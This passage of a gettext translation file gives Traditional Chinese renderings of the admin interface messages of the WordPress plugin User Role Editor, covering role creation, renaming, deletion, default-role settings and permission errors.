"This role does not exist - " msgstr "這個使用者角色不存在 - " #: includes/classes/editor.php:1353 msgid "Can not set Administrator role as a default one" msgstr "不能將 [網站管理員] 使用者角色設定為預設的使用者角色。" #. translators: placeholder %s is replaced by default user role name #: includes/classes/editor.php:1348 msgid "Default role for new users is set to %s successfully" msgstr "新使用者的預設使用者角色已成功設定為 [%s]。" #: includes/classes/editor.php:1350 msgid "Error encountered during default role change operation" msgstr "變更預設使用者角色時發生錯誤。" #. translators: placeholder %s is replaced by not deleted user role id string #. value #: includes/classes/editor.php:1303 msgid "Role %s is deleted successfully" msgstr "使用者角色 [%s] 已成功刪除。" #: includes/classes/editor.php:1300 msgid "Unused roles are deleted successfully" msgstr "尚未使用的使用者角色已成功刪除。" #. translators: 1st placeholder %s is replaced by original user role name, 2nd #. placehoder is replaced by new user role name #: includes/classes/editor.php:1168 msgid "Role %1$s is renamed to %2$s successfully" msgstr "使用者角色 [%1$s] 已成功重新命名為 [%2$s]。" #. translators: placeholder %s is replaced by not existed user role id string #. value #: includes/classes/editor.php:1154 msgid "Role %s does not exists" msgstr "使用者角色 [%s] 不存在。" #: includes/classes/editor.php:1146 msgid "Error: Empty role display name is not allowed." msgstr "錯誤: 不可使用空白使用者角色顯示名稱。" #: includes/classes/editor.php:981 msgid "Error: Role ID is empty!" msgstr "錯誤: 使用者角色 ID 留空!" #. translators: placeholder %s is replaced by created user role id string value #: includes/classes/editor.php:1061 msgid "Role %s is created successfully" msgstr "使用者角色 [%s] 已成功新增。" #: includes/classes/editor.php:1053 msgid "Error is encountered during new role create operation" msgstr "新增新使用者角色的操作過程中發生錯誤。" #. translators: placeholder %s is replaced by existed user role id string value #: includes/classes/editor.php:1032 msgid "Role %s exists already" msgstr "使用者角色 [%s] 已存在。" #: includes/classes/editor.php:997 msgid "Error: WordPress does not support numeric Role name (ID). Add latin characters to it." msgstr "錯誤: WordPress 不支援純數字使用者角色名稱 (ID)。請使用英文字母。" #: includes/classes/editor.php:991 msgid "Error: Role ID must contain latin characters, digits, hyphens or underscore only!" msgstr "錯誤: 使用者角色 ID 必須包含英文字母、數字、連字號或底線。" #: includes/classes/capability.php:84 includes/classes/capability.php:206 #: includes/classes/editor.php:948 includes/classes/editor.php:1018 #: includes/classes/editor.php:1073 includes/classes/editor.php:1134 #: includes/classes/editor.php:1282 includes/classes/editor.php:1325 #: includes/classes/user-role-editor.php:669 msgid "Insufficient permissions to work with User Role Editor" msgstr "目前的登入身分沒有使用 User Role Editor 的權限。" #: includes/classes/editor.php:1400 msgid "User Roles are restored to WordPress default values. " msgstr "使用者角色已還原為 WordPress 預設值。" #: includes/classes/editor.php:911 msgid "Error occurred during user update" msgstr "更新使用者時發生錯誤。" #: includes/classes/editor.php:909 msgid "User capabilities are updated successfully" msgstr "使用者權限已成功更新。" #: includes/classes/editor.php:905 msgid "Error occurred during role(s) update" msgstr "更新使用者角色時發生錯誤。" #: includes/classes/editor.php:902 msgid "Roles are updated for all network" msgstr "全部多站網路的使用者角色已更新。" #: includes/classes/editor.php:900 msgid "Role is updated successfully" msgstr "使用者角色已成功更新。" #: includes/classes/editor.php:235 msgid "does not exist" msgstr "不存在" #: includes/classes/editor.php:234 msgid "Role" msgstr "使用者角色" #: includes/classes/editor.php:232 includes/classes/editor.php:234 msgid "Error: " msgstr "錯誤: " #. Plugin Name of the plugin #: user-role-editor.php includes/classes/capabilities-groups-manager.php:84 #: includes/classes/editor.php:1490 includes/classes/user-role-editor.php:590 #: includes/classes/user-role-editor.php:591 #: includes/classes/user-role-editor.php:603 #: includes/classes/user-role-editor.php:604 #: includes/classes/user-role-editor.php:619 #: includes/classes/user-role-editor.php:620 msgid "User Role Editor" msgstr "User Role Editor" #: includes/classes/role-view.php:243 msgid "Capability name (ID): " msgstr "權限名稱 (ID): " #: includes/classes/role-view.php:218 msgid "Select Role:" msgstr "選取使用者角色:" #: includes/classes/role-view.php:202 msgid "Make copy of: " msgstr "使用者角色複製來源: " #: includes/classes/role-view.php:200 includes/classes/role-view.php:211 msgid "Display Role Name: " msgstr "使用者角色顯示名稱: " #: includes/classes/role-view.php:198 includes/classes/role-view.php:209 msgid "Role name (ID): " msgstr "使用者角色名稱 (ID): " #: includes/classes/editor.php:1531 msgid "Error: wrong request" msgstr "錯誤: 錯誤的要求。"